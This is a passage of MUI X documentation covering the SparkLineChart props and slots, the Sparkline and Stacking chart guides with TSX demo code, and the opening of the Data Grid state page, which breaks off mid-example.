{ color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| area | `AnimatedArea` | - | The component that renders the area. |
| bar | `BarElementPath` | - | The component that renders the bar. |
| line | `LineElementPath` | - | The component that renders the line. |
| lineHighlight | `undefined` | - |  |
| mark | `undefined` | - |  |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/SparkLineChart/SparkLineChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/SparkLineChart/SparkLineChart.tsx)

---

# Source: https://mui.com/x/react-charts/sparkline.md

---
title: React Sparkline chart
productId: x-charts
components: SparkLineChart
---

# Charts - Sparkline

Sparkline chart can provide an overview of data trends.

A sparkline is a chart drawn without visible axes or coordinates that presents data trends in a simplified way.
For example, npm uses a sparkline to display a package's weekly downloads trend.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { SparkLineChart, SparkLineChartProps } from '@mui/x-charts/SparkLineChart';
import { areaElementClasses, lineElementClasses } from '@mui/x-charts/LineChart';
import { chartsAxisHighlightClasses } from '@mui/x-charts/ChartsAxisHighlight';
import Box from '@mui/material/Box';
import data from './weekly-downloads.json';

const downloads = data.map((item) => item.downloads);
const weeks = data.map((item) => `${item.start} to ${item.end}`);

const settings: SparkLineChartProps = {
  data: downloads,
  baseline: 'min',
  margin: { bottom: 0, top: 5, left: 4, right: 0 },
  xAxis: { id: 'week-axis', data: weeks },
  yAxis: {
    domainLimit: (_, maxValue: number) => ({
      min: -maxValue / 6, //  Hack to add 5px bellow 0 like npm.
      max: maxValue,
    }),
  },
  sx: {
    [`& .${areaElementClasses.root}`]: { opacity: 0.2 },
    [`& .${lineElementClasses.root}`]: { strokeWidth: 3 },
    [`& .${chartsAxisHighlightClasses.root}`]: {
      stroke: 'rgb(137, 86, 255)',
      strokeDasharray: 'none',
      strokeWidth: 2,
    },
  },
  slotProps: {
    lineHighlight: { r: 4 }, // Reduce the radius of the axis highlight.
  },
  clipAreaOffset: { top: 2, bottom: 2 },
  axisHighlight: { x: 'line' },
};

export default function NpmSparkLine() {
  const [weekIndex, setWeekIndex] = React.useState<null | number>(null);

  return (
    <Box
      onKeyDown={(event) => {
        switch (event.key) {
          case 'ArrowLeft':
            setWeekIndex((p) =>
              p === null ? weeks.length - 1 : (weeks.length + p - 1) % weeks.length,
            );
            break;
          case 'ArrowRight':
            setWeekIndex((p) => (p === null ? 0 : (p + 1) % weeks.length));
            break;
          default:
        }
      }}
      onFocus={() => {
        setWeekIndex((p) => (p === null ? 0 : p));
      }}
      role="button"
      aria-label="Showing weekly downloads"
      tabIndex={0}
      width="100%"
      height="100%"
      display="flex"
      justifyContent="center"
      alignItems="center"
    >
      <Stack direction="column" width={300}>
        <Typography
          sx={{
            color: 'rgb(117, 117, 117)',
            fontWeight: 500,
            fontSize: '0.9rem',
            pt: 1,
          }}
        >
          <DownloadIcon
            fill="rgb(117, 117, 117)"
            width="8px"
            height="12px"
            style={{ marginRight: 8 }}
          />
          {weekIndex === null ? 'Weekly Downloads' : weeks[weekIndex]}
        </Typography>
        <Stack
          direction="row"
          justifyContent="space-between"
          alignItems="flex-end"
          sx={{ borderBottom: 'solid 2px rgba(137, 86, 255, 0.2)' }}
        >
          <Typography sx={{ fontSize: '1.25rem', fontWeight: 500 }}>
            {downloads[weekIndex ?? downloads.length - 1].toLocaleString()}
          </Typography>

          <SparkLineChart
            height={40}
            width={195}
            area
            showHighlight
            color="rgb(137, 86, 255)"
            onHighlightedAxisChange={(axisItems) => {
              setWeekIndex(axisItems[0]?.dataIndex ?? null);
            }}
            highlightedAxis={
              weekIndex === null
                ? []
                : [{ axisId: 'week-axis', dataIndex: weekIndex }]
            }
            {...settings}
          />
        </Stack>
      </Stack>
    </Box>
  );
}

function DownloadIcon(props: React.SVGProps<SVGSVGElement>) {
  return (
    <svg viewBox="0 0 7.22 11.76" aria-hidden="true" {...props}>
      <title>Downloads</title>
      <g>
        <polygon
          points="4.59 4.94 4.59 0 2.62 0 2.62 4.94 0 4.94 3.28 9.53 7.22 4.94 4.59 4.94"
          aria-label="Downloads icon"
        />
        <rect x="0.11" y="10.76" width="7" height="1" />
      </g>
    </svg>
  );
}

```

## Basics

The `<SparkLineChart />` requires only the `data` props which is an array of numbers.
You can also switch from line to a bar plot with `plotType="bar"`.

```tsx
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

export default function BasicSparkLine() {
  return (
    <Stack
      width="100%"
      direction="row"
      sx={{
        // For the examples page
        ['@container (width < 600px)']: {
          flexWrap: 'wrap',
          maxWidth: '70%',
        },
      }}
      gap={2}
    >
      <Box flexGrow={1}>
        <SparkLineChart data={[1, 4, 2, 5, 7, 2, 4, 6]} height={100} />
      </Box>
      <Box flexGrow={1}>
        <SparkLineChart
          plotType="bar"
          data={[1, 4, 2, 5, 7, 2, 4, 6]}
          height={100}
        />
      </Box>
    </Stack>
  );
}

```

## Line customization

You can fill the area below the sparkline curve with the `area` prop.
To modify the curve interpolation, use the `curve` prop. Read the full documentation for curves in the [line charts page](/x/react-charts/lines/#interpolation).

```tsx
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

export default function AreaSparkLine() {
  return (
    <Stack direction="row" sx={{ width: '100%' }}>
      <Box sx={{ flexGrow: 1 }}>
        <SparkLineChart data={[3, -10, -2, 5, 7, -2, 4, 6]} height={100} area />
      </Box>
      <Box sx={{ flexGrow: 1 }}>
        <SparkLineChart
          data={[3, -10, -2, 5, 7, -2, 4, 6]}
          height={100}
          curve="natural"
          area
        />
      </Box>
    </Stack>
  );
}

```

## Interaction

Compared to line and bar charts, the sparkline has some additional props to simplify interaction configuration.
You can use `showTooltip` and `showHighlight` to display the default tooltip and highlight in your sparkline.

Those are helpers.
If you need more advanced customization, you can provide custom props for `tooltip` and `highlight` as described in the [Tooltip page](/x/react-charts/tooltip/).

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

export default function BasicSparkLineCustomization() {
  const [showHighlight, setShowHighlight] = React.useState(true);
  const [showTooltip, setShowTooltip] = React.useState(true);

  const handleHighlightChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setShowHighlight(event.target.checked);
  };

  const handleTooltipChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setShowTooltip(event.target.checked);
  };

  return (
    <Stack direction="column" sx={{ width: '100%' }}>
      <Stack direction="row">
        <FormControlLabel
          value="end"
          control={
            <Switch
              color="primary"
              checked={showHighlight}
              onChange={handleHighlightChange}
            />
          }
          label="showHighlight"
          labelPlacement="end"
        />
        <FormControlLabel
          value="end"
          control={
            <Switch
              color="primary"
              checked={showTooltip}
              onChange={handleTooltipChange}
            />
          }
          label="showTooltip"
          labelPlacement="end"
        />
      </Stack>
      <Stack direction="row" sx={{ width: '100%' }}>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart
            data={[1, 4, 2, 5, 7, 2, 4, 6]}
            height={100}
            showHighlight={showHighlight}
            showTooltip={showTooltip}
          />
        </Box>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart
            plotType="bar"
            data={[1, 4, 2, 5, 7, 2, 4, 6]}
            height={100}
            showHighlight={showHighlight}
            showTooltip={showTooltip}
          />
        </Box>
      </Stack>
    </Stack>
  );
}

```

## Axis management

### X-axis data

By default, the sparkline assigns `xAxis` values as an ascending integer sequence starting from 0 (0, 1, 2,...). These values are, in this case, hidden in the tooltip.
You can override this behavior if your data are not evenly distributed, or if you need to label them.

To do so, use the `xAxis` prop.
Notice that sparkline does not manage multiple axes, so `xAxis` prop takes an axis configuration object.
Whereas most of the other charts expect an array of axis configuration objects.

```jsx
<SparkLineChart data={[1, 4, 2, 5, 7, 2, 4, 6]} xAxis={{ scaleType, data }} />
```

```tsx
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

export default function CustomAxis() {
  return (
    <Stack direction="row" sx={{ width: '100%' }}>
      <Box sx={{ flexGrow: 1 }}>
        <SparkLineChart
          data={[1, 4, 2, 5, 7, 2, 4, 6]}
          xAxis={{
            scaleType: 'time',
            data: [
              new Date(2022, 5, 1),
              new Date(2022, 5, 2),
              new Date(2022, 5, 5),
              new Date(2022, 5, 6),
              new Date(2022, 5, 7),
              new Date(2022, 5, 8),
              new Date(2022, 5, 11),
              new Date(2022, 5, 12),
            ],
            valueFormatter: (value) => value.toISOString().slice(0, 10),
          }}
          height={100}
          showTooltip
          showHighlight
        />
      </Box>
      <Box sx={{ flexGrow: 1 }}>
        <SparkLineChart
          plotType="bar"
          data={[1, 4, 2, 5, 7, 2, 4, 6]}
          height={100}
          showTooltip
          showHighlight
          xAxis={{
            scaleType: 'band',
            data: [
              new Date(2016, 0, 1),
              new Date(2017, 0, 1),
              new Date(2018, 0, 1),
              new Date(2019, 0, 1),
              new Date(2020, 0, 1),
              new Date(2021, 0, 1),
              new Date(2022, 0, 1),
              new Date(2023, 0, 1),
            ],
            valueFormatter: (value) => value.getFullYear(),
          }}
        />
      </Box>
    </Stack>
  );
}

```

### Y-axis range

You can fix the y-range of the sparkline by providing `min`/`max` values to the `yAxis` configuration.

The following demo shows two sparklines, one with small and another with large values.
The first row has the default y-axis values, while on the second row a fixed range from `0` to `100` has been set.

```tsx
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

const settings = {
  valueFormatter: (value: number | null) => `${value}%`,
  height: 100,
  showTooltip: true,
  showHighlight: true,
} as const;

const smallValues = [0, 2, 3, 4, 6, 8, 7, 9, 15, 6, 8, 7, 12];
const largeValues = [60, 65, 66, 68, 87, 82, 83, 89, 92, 75, 76, 77, 91];
export default function CustomYAxis() {
  return (
    <Stack sx={{ width: '100%' }}>
      <Typography>Without fixed y-range</Typography>
      <Stack sx={{ width: '100%', mb: 2 }} direction="row" spacing={2}>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart data={smallValues} color="red" {...settings} />
        </Box>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart data={largeValues} {...settings} />
        </Box>
      </Stack>
      <Typography>With y-range fixed to [0, 100]</Typography>
      <Stack sx={{ width: '100%' }} direction="row" spacing={2}>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart
            data={smallValues}
            yAxis={{
              min: 0,
              max: 100,
            }}
            color="red"
            {...settings}
          />
        </Box>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart
            data={largeValues}
            yAxis={{
              min: 0,
              max: 100,
            }}
            {...settings}
          />
        </Box>
      </Stack>
    </Stack>
  );
}

```

You can adjust the y-axis range of a sparkline relatively to its data by using the `domainLimit` option in the `yAxis` configuration.
See the [axis docs page](/x/react-charts/axis/#relative-axis-subdomain) for more information.

The demo below shows different ways to set the y-axis range.
They always display the same data, going from -15 to 92, but with different `domainLimit` settings.

```tsx
import * as React from 'react';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import { Theme } from '@mui/material/styles';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

const settings = {
  valueFormatter: (value: number | null) => `${value}%`,
  height: 100,
  showTooltip: true,
  showHighlight: true,
  data: [60, -15, 66, 68, 87, 82, 83, 85, 92, 75, 76, 50, 91],
  margin: { top: 10, bottom: 20, left: 5, right: 5 },
  sx: (theme: Theme) => ({
    borderWidth: 1,
    borderStyle: 'solid',
    borderColor: theme.palette.divider,
  }),
};

// Extend a value to match a multiple of the step.
function extend(value: number, step: number) {
  if (value > 0) {
    // If >0 go to the next step
    return step * Math.ceil(value / step);
  }
  // If <0 go to the previous step
  return step * Math.floor(value / step);
}

const yRange = {
  nice: '-100, 100',
  strict: '-15, 92',
  function: '-20, 100',
};
export default function CustomDomainYAxis() {
  const [domainLimitKey, setDomainLimitKey] = React.useState<
    'nice' | 'strict' | 'function'
  >('nice');

  const domainLimit =
    domainLimitKey === 'function'
      ? (min: number, max: number) => ({
          min: extend(min, 10),
          max: extend(max, 10),
        })
      : domainLimitKey;
  return (
    <Box
      sx={{
        width: '100%',
      }}
    >
      <Stack direction="row" alignItems="baseline" justifyContent="space-between">
        <TextField
          select
          value={domainLimitKey}
          onChange={(event) =>
            setDomainLimitKey(event.target.value as 'nice' | 'strict' | 'function')
          }
          label="domain limit"
          sx={{ minWidth: 150, mb: 2 }}
        >
          <MenuItem value="nice">nice</MenuItem>
          <MenuItem value="strict">strict</MenuItem>
          <MenuItem value="function">function</MenuItem>
        </TextField>
        <Typography>y-axis range: {yRange[domainLimitKey]}</Typography>
      </Stack>
      <Stack
        sx={{
          width: '100%',
        }}
        direction="row"
        spacing={2}
      >
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart {...settings} yAxis={{ domainLimit }} />
        </Box>
        <Box sx={{ flexGrow: 1 }}>
          <SparkLineChart plotType="bar" {...settings} yAxis={{ domainLimit }} />
        </Box>
      </Stack>
    </Box>
  );
}

```

## Color customization

You can customize the color of the sparkline by providing a color to the `color` prop.

```tsx
import Stack from '@mui/material/Stack';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

const settings = {
  height: 100,
  yAxis: { min: 0, max: 20 },
} as const;

const values = [0, 2, 3, 4, 6, 8, 7, 9, 15, 6, 8, 7, 12];

export default function ColorCustomization() {
  return (
    <Stack sx={{ width: '100%', maxWidth: 300 }}>
      <SparkLineChart data={values} color="green" {...settings} />
    </Stack>
  );
}

```

The `color` prop also accepts a function that is called with the mode (`'light'` or `'dark'`), so you can adapt the color to user preferences.

The following example shows a white line if this page is in dark mode, or a black one if it is in light mode.

```tsx
import * as React from 'react';
import { createTheme, useTheme, ThemeProvider } from '@mui/material/styles';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import Brightness4Icon from '@mui/icons-material/Brightness4';
import Brightness7Icon from '@mui/icons-material/Brightness7';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';
import Paper from '@mui/material/Paper';

const settings = {
  height: 100,
  yAxis: { min: 0, max: 20 },
} as const;

const values = [0, 2, 3, 4, 6, 8, 7, 9, 15, 6, 8, 7, 12];

export default function ColorCustomizationMode() {
  return (
    <DarkModeWrapper>
      <SparkLineChart
        data={values}
        color={(mode) => (mode === 'light' ? 'black' : 'white')}
        {...settings}
      />
    </DarkModeWrapper>
  );
}

function DarkModeWrapper(props: React.PropsWithChildren) {
  const theme = useTheme();
  const [colorMode, setColorMode] = React.useState(theme.palette.mode);

  const newTheme = createTheme({ palette: { mode: colorMode } });
  return (
    <ThemeProvider theme={newTheme}>
      <Stack>
        <Button
          onClick={() =>
            setColorMode((prev) => (prev === 'light' ? 'dark' : 'light'))
          }
          color="inherit"
          endIcon={colorMode === 'dark' ? <Brightness7Icon /> : <Brightness4Icon />}
        >
          {colorMode} mode
        </Button>
        <Paper sx={{ p: 2, width: '100%', maxWidth: 300 }}>{props.children}</Paper>
      </Stack>
    </ThemeProvider>
  );
}

```

## Line Width

Lines in Sparkline have a stroke width of 2px by default.
When clipping is enabled and the line is drawn on the edge of the chart, it might be partially clipped.

By default, the sparkline has clipping enabled, but the `clipAreaOffset` prop defaults to 1 to prevent clipping.
You can disable clipping by setting `disableClipping` to `true`.

The example below shows how the line's stroke width, `disableClipping` and `clipAreaOffset` affect the sparkline rendering.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import { SparkLineChart, SparkLineChartProps } from '@mui/x-charts/SparkLineChart';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Slider from '@mui/material/Slider';

const values = [8, 7, 9, 0, 0, 5, 20, 20, 7];

const settings = {
  data: values,
  height: 100,
  showHighlight: true,
  showTooltip: true,
} satisfies Partial<SparkLineChartProps>;

export default function SparklineLineWidth() {
  const [strokeWidth, setStrokeWidth] = React.useState<number>(2);
  const [disableClipping, setDisableClipping] = React.useState(false);
  const [clipAreaOffset, setClipAreaOffset] = React.useState<number>(1);

  return (
    <Stack sx={{ width: '100%' }} direction="column" gap={1}>
      <Stack direction="row">
        <FormControlLabel
          checked={disableClipping}
          control={
            <Checkbox
              onChange={(event) => setDisableClipping(event.target.checked)}
            />
          }
          label="Disable Clipping"
          labelPlacement="end"
        />
        <FormControlLabel
          value={strokeWidth}
          control={
            <Slider
              aria-label="Stroke Width"
              valueLabelDisplay="auto"
              step={1}
              marks
              min={1}
              max={5}
              onChange={(event, value) => setStrokeWidth(value)}
            />
          }
          label="Stroke Width"
          labelPlacement="top"
        />

        <FormControlLabel
          value={clipAreaOffset}
          disabled={disableClipping}
          control={
            <Slider
              aria-label="Clip Area Offset"
              valueLabelDisplay="auto"
              disabled={disableClipping}
              step={1}
              marks
              min={0}
              max={5}
              onChange={(event, value) => setClipAreaOffset(value)}
            />
          }
          label="Clip Area Offset"
          labelPlacement="top"
        />
      </Stack>

      <Box sx={{ flexGrow: 1 }}>
        <SparkLineChart
          {...settings}
          yAxis={{ min: 0 }}
          disableClipping={disableClipping}
          clipAreaOffset={{
            top: clipAreaOffset,
            bottom: clipAreaOffset,
            left: clipAreaOffset,
            right: clipAreaOffset,
          }}
          slotProps={{
            line: { strokeWidth },
          }}
        />
      </Box>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-charts/stacking.md

---
title: Charts - Stacking
productId: x-charts
---

# Charts - Stacking

Display the decomposition of values by stacking series on top of each other.

You can use stacking to display multiple series in a single bar or line, showing how values combine to form a total.

## Implementing stacking

Bar and line charts support stacking.
To stack series together, pass them a `stack` attribute.
Series with the same `stack` value are stacked together.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

const seriesA = {
  data: [2, 3, 1, 4, 5],
  label: 'Series A',
};
const seriesB = {
  data: [3, 1, 4, 2, 1],
  label: 'Series B',
};
const seriesC = {
  data: [3, 2, 4, 5, 1],
  label: 'Series C',
};
export default function BasicStacking() {
  return (
    <BarChart
      height={300}
      series={[
        { ...seriesA, stack: 'total' },
        { ...seriesB, stack: 'total' },
        { ...seriesC, stack: 'total' },
      ]}
    />
  );
}

```

## Stacking strategy

You can modify how series are stacked based on D3 [stack orders](https://d3js.org/d3-shape/stack#stack_order) and [stack offsets](https://d3js.org/d3-shape/stack#stack_offset).

To pass these attributes, use the series properties `stackOffset` (default `'diverging'` for bar and `'none'` for line) and `stackOrder` (default `'none'`).
You can define them for only one of the series in a stack group.

### Stack offset

To stack positive values, set `stackOffset` to `'none'`.

When working with negative values, set it to `'diverging'`.
Otherwise, the stacked rectangles will overlap.

To show series evolution relative to other stacked series (instead of their absolute values), you can use `'expand'`.

| Value         | Description                                               |
| :------------ | :-------------------------------------------------------- |
| `'none'`      | Set baseline at 0 and stack data on top of each other.    |
| `'expand'`    | Set baseline at zero and scale data to end up at 1.       |
| `'diverging'` | Stack positive value above zero and negative value below. |

The demo below lets you test the different `stackOffset` values.
To see how they interact with a dataset containing negative values, you can toggle the **data has negative values** switch.
When turned on:

- Series A has only positive values
- Series B has one negative value
- Series C and D have only negative values

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';
import { BarChart } from '@mui/x-charts/BarChart';
import { StackOffsetType } from '@mui/x-charts/models';

type GetSeriesParams = {
  hasNegativeValue: boolean;
  stackOffset: StackOffsetType;
};

const availableStackOffset = ['expand', 'diverging', 'none'] as const;

const getSeries = ({ hasNegativeValue, stackOffset }: GetSeriesParams) => [
  {
    label: 'A',
    data: [125, 450, 492, 625],
    stack: 'total',
    stackOffset,
  },
  {
    label: 'B',
    data: [50, hasNegativeValue ? -150 : 150, 203, 620],
    stack: 'total',
  },
  {
    label: 'C',
    data: [134, 215, 342, 402].map((y) => (hasNegativeValue ? -y : y)),
    stack: 'total',
  },
  {
    label: 'D',
    data: [315, 421, 289, 321].map((y) => (hasNegativeValue ? -y : y)),
    stack: 'total',
  },
];

export default function StackOffsetDemo() {
  const [stackOffset, setStackOffset] = React.useState<StackOffsetType>('diverging');
  const [hasNegativeValue, setHasNegativeValue] = React.useState(true);

  return (
    <Box sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row">
        <TextField
          sx={{ minWidth: 150, mr: 5 }}
          select
          label="stackOffset"
          value={stackOffset}
          onChange={(event) => setStackOffset(event.target.value as any)}
        >
          {availableStackOffset.map((offset) => (
            <MenuItem key={offset} value={offset}>
              {offset}
            </MenuItem>
          ))}
        </TextField>

        <FormControlLabel
          checked={hasNegativeValue}
          onChange={(event) => setHasNegativeValue((event.target as any).checked)}
          control={<Switch color="primary" />}
          label="data has negative value"
          labelPlacement="end"
        />
      </Stack>
      <BarChart height={300} series={getSeries({ hasNegativeValue, stackOffset })} />
    </Box>
  );
}

```

### Stack order

The order of stacked data matters for reading charts.
The evolution of the series at the bottom is the easiest to read since its baseline is 0.

You can control the stack order using the `stackOrder` property on a series.

If you know the data you're displaying, you can set `stackOrder: 'none'`, which respects the order you defined the series in.
Otherwise, you can order them based on different properties of their values as described in the table below:

| Value          | Description                                                                                                                               |
| :------------- | :---------------------------------------------------------------------------------------------------------------------------------------- |
| `'none'`       | Respect the order the series are provided in.                                                                                             |
| `'reverse'`    | Reverse the order the series are provided in.                                                                                             |
| `'appearance'` | Sort series by ascending order according to the index of their maximal value. The series with the earliest maximum will be at the bottom. |
| `'ascending'`  | Sort series by ascending order according to the sum of their values. Series taking the smallest surface will be at the bottom             |
| `'descending'` | Sort series by descending order according to the sum of their values. Series taking the largest surface will be at the bottom             |

To demonstrate stack order, the example below shows statistics about means of transportation used for commuting to work relative to the distance between home and office for commuters.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { BarChart } from '@mui/x-charts/BarChart';
import { StackOrderType } from '@mui/x-charts/models';

// Data coming from https://www.insee.fr/fr/statistiques/5013868
const commonTransportation = [
  6.5, 12.5, 17.2, 19.6, 20.1, 20.0, 19.5, 18.8, 18.2, 17.3, 16.4, 15.9, 15.2, 14.7,
  14.3, 14.3, 14.3, 14.1, 14.2, 14.2, 14.0, 13.8, 13.8, 13.9, 13.6, 14.0, 14.9, 14.8,
  15.2, 21.1,
];
const car = [
  48.8, 56.3, 63.2, 67.3, 70.2, 72.3, 74.1, 75.8, 76.9, 78.4, 79.7, 80.5, 81.5, 82.4,
  83.0, 83.1, 83.2, 83.6, 83.6, 83.8, 83.9, 84.3, 84.4, 84.4, 84.6, 84.4, 83.6, 83.9,
  83.6, 77.6,
];
const motorcycle = [
  1.3, 2.1, 2.5, 2.6, 2.7, 2.7, 2.6, 2.6, 2.6, 2.5, 2.5, 2.3, 2.2, 2.1, 1.9, 1.9,
  1.8, 1.7, 1.6, 1.6, 1.6, 1.5, 1.3, 1.3, 1.3, 1.2, 1.0, 0.9, 0.8, 0.7,
];
const biking = [
  4.0, 5.9, 5.8, 5.0, 4.0, 3.1, 2.4, 1.8, 1.5, 1.2, 0.9, 0.8, 0.7, 0.5, 0.5, 0.4,
  0.4, 0.3, 0.3, 0.2, 0.3, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.1, 0.1, 0.3,
];
const walking = [
  39.4, 23.2, 11.3, 5.5, 3.0, 1.9, 1.4, 1.0, 0.8, 0.6, 0.5, 0.5, 0.4, 0.3, 0.3, 0.3,
  0.3, 0.3, 0.3, 0.2, 0.2, 0.2, 0.3, 0.2, 0.3, 0.2, 0.3, 0.3, 0.3, 0.3,
];
const xAxis = {
  label: 'Distance between home and office (km)',
  data: [
    '0-1',
    '1-2',
    '2-3',
    '3-4',
    '4-5',
    '5-6',
    '6-7',
    '7-8',
    '8-9',
    '9-10',
    '10-11',
    '11-12',
    '12-13',
    '13-14',
    '14-15',
    '15-16',
    '16-17',
    '17-18',
    '18-19',
    '19-20',
    '20-21',
    '21-22',
    '22-23',
    '23-24',
    '24-25',
    '25-30',
    '30-35',
    '35-40',
    '40-50',
    '>50',
  ],
};

const series = [
  { label: 'Car', data: car, stack: 'total' },
  { label: 'Public T.', data: commonTransportation, stack: 'total' },
  { label: 'Motorcycle', data: motorcycle, stack: 'total' },
  { label: 'Walk', data: walking, stack: 'total' },
  { label: 'Bike', data: biking, stack: 'total' },
];

const availableStackOrder = [
  'none',
  'reverse',
  'appearance',
  'ascending',
  'descending',
  'insideOut',
] as const;

export default function StackOrderDemo() {
  const [stackOrder, setStackOrder] = React.useState<StackOrderType>('appearance');

  const modifiedSeries = [{ ...series[0], stackOrder }, ...series.slice(1)];
  return (
    <Box sx={{ width: '100%' }}>
      <TextField
        sx={{ minWidth: 150, mr: 5, mt: 1 }}
        select
        label="stackOrder"
        value={stackOrder}
        onChange={(event) => setStackOrder(event.target.value as any)}
      >
        {availableStackOrder.map((offset) => (
          <MenuItem key={offset} value={offset}>
            {offset}
          </MenuItem>
        ))}
      </TextField>
      <Box sx={{ py: 2 }}>
        <BarChart
          height={300}
          xAxis={[
            {
              ...xAxis,
              tickLabelStyle: {
                angle: 45,
                dominantBaseline: 'hanging',
                textAnchor: 'start',
              },
              height: 65,
            },
          ]}
          yAxis={[{ min: 0, max: 100 }]}
          series={modifiedSeries}
        />
      </Box>
    </Box>
  );
}

```

With the `'appearance'` order, **walking** is first since its maximal percentage is for **0-1km**, and **common transportation** is last because its maximum value is at the **>50km** distance.

With the `'ascending'` order, stacking starts with **bicycles** and **motorbikes** since their values respectively sum to **41.7** and **55.4**.
Then comes **walking** (with values summing to **94.1**).
Lastly, **common transportation** and **cars** appear, which are visually more important.
The `'descending'` order is the exact opposite.

---

# Source: https://mui.com/x/react-data-grid/state.md

# Data Grid - State

Initialize and read the state of the Data Grid.

## Initialize the state

Some state keys can be initialized with the `initialState` prop.
This prop has the same format as the returned value of `apiRef.current.exportState()`.

:::warning
The `initialState` can only be used to set the initial value of the state.
The Data Grid will not react if you change the `initialState` value later on.

If you need to fully control specific models, use the control props instead (for example [`prop.filterModel`](/x/react-data-grid/filtering/#controlled-filters) or [`prop.sortModel`](/x/react-data-grid/sorting/#controlled-sort-model)).
You can find more information on the corresponding feature documentation page.
:::

```tsx
import { DataGrid } from '@mui/x-data-grid';
